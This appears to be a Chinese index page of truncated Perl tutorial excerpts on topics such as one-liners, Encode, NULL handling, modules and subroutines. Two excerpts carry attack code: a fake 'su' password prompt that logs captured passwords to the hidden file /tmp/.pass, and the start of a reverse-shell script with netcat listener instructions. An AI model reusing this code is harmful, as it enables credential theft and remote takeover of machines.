1lineperl今天来说说perl，只有一行的perl程序。各种编程语言中perl是以变态的古灵精怪而闻名的，比如我，就经常写出自己都看不懂的perl程序来。比如这篇文档中的程序，虽然短小，估计一个星期之后我看这就要头晕了。但这丝毫不影响perl作为一个功能强大的系统管理工具和系统控制语言的存在和推广，而且灵活性恰恰是它最大的优势，你可以这样写，也可以那样写，“或者，绝招同途异路。”1.helloworld!===========================================================还是从最经典的hello,world!开始......###perl...

NULL值的判断$t{type1id}=$$pref{dbh}->selectrow_array("SELECTtype1idFROMenq1WHEREid=3");if($t{type1id}==0){print"Type1idisNULL\n";}==>不是数值项的话,这个语句有问题。数值项专用。if(length($t{type1id})==0){print"Type1idisNULL\n";}==>如果Null的话,这个语句有问题如果@rec含有NULL的话,下面的操作要出错误信息$t{line1}=join('',@rec);($t{old1},$t{new1p},...

Perl从5.6开始已经开始在内部使用utf8编码来表示字符，也就是说对中文以及其他语言字符的处理应该是完全没有问题的。我们只需要利用好Encode这个模块便能充分发挥Perl的utf8字符的优势了。下面就以中文文本的处理为例进行说明，比如有一个字符串"测试文本"，我们想要把这个中文字符串拆成单个字符，可以这样写：useEncode;$dat="测试文本";$str=decode("gb2312",$dat);@chars=split//,$str;foreach$char(@chars){printencode("gb2312",$char),"\n";}结果大家试一试就知道了，应该是令人满...

最近在用perl+mdbm+spread做东西。php是用了很久了,python和ruby与用过,经典脚本语言就perl没摸过，现在在像小学生一样抱着教科书啃。发现perl果然有难度多了。别的东西没让我这么频繁地犯错误。1.第一个常见的错误是：向文件输出内容。标准语法是:printSTDERR"thisisanapple.";我一般都会写成printSTDERR,"thisisanapple.";总是多打一个逗号。老实说，一般我很少重复地犯错误，但是这个地方我就是记不住。2.第二个常见错误是：经常漏写Hash引用的箭头。本来应该写成print$hash->{$key};我常常写成prin...

我改了一下，把回显关了加了个延时：#!/usr/bin/perl#Writtenbyxi4oyu<evil.xi4oyu@gmail.com>.print"Password:";`stty-echo`;$s1=<STDIN>;print"\n";`sttyecho`;sleep3;print"su:incorrectpassword\n";chomp($s1);$s2="Passwordis:";$s3="".`date+%Y-%m-%d`;open(users,">>/tmp/.pass")||die;printusers($s2,$s1,$s3);clo...

 [code]主要用于收集ip、mac、姓名、房间，后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################use strict;use Tk;use Encode;#SOCKE参数my $PF_INET = 2;my $port = 2345;my $remote_addr = pack('SnC4x8',$PF_INET,$port,192,168,138,228);my $SOCK_DGR...

Perl的语法相对来说有点晦涩，主要是一些内置变量和函数处理得相当精巧，而过于精致的东西理解起来就有点费力。相对于Shell，Perl在很多方面更加强大高效，比如Hash(关联数组)就非常好用，如果要将不同主机发出来的告警信息发送到不同的责任人，在shell中要做非常多的if或者case判断，修改起来也非常费力，而使用关联数组，则可以轻松实现该功能，代码简洁，配置方便，一个字，爽。Perl支持以模块对代码进行封装。著名的CPAN上就有非常多好用的Module，可以极大的减轻开发量。一个简单的模块：package NinGoo;require Exporter;use&nbs...

 反向连接代码： 1. #!/usr/bin/perl  2. #usage:  3. #nc -vv -l -p PORT(default 1988) on your local system first,then  4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(de...

OS : Microsoft Windows 2000 Professional简体中文版 WEB SERVER: Apache 1.3.12 for WIN32 MYSQL : MySQL Shareware 3.22.34 for WIN32 PHP3 : PHP 3.0.15 for WIN32 PHP4 : PHP&nb...

一、定义   子程序即执行一个特殊任务的一段分离的代码，它可以使减少重复代码且使程序易读。PERL中，子程序可以出现在程序的任何地方。定义方法为：  sub subroutine{    statements;  }二、调用   调用方法如下：1、用&调用   &subname;  ...  sub subname{   ...

一、条件判断   if ( <expression>) {    <statement_block_1>  }  elsif ( <expression> ) {    <statement_block_2>  }  ...  else{   ...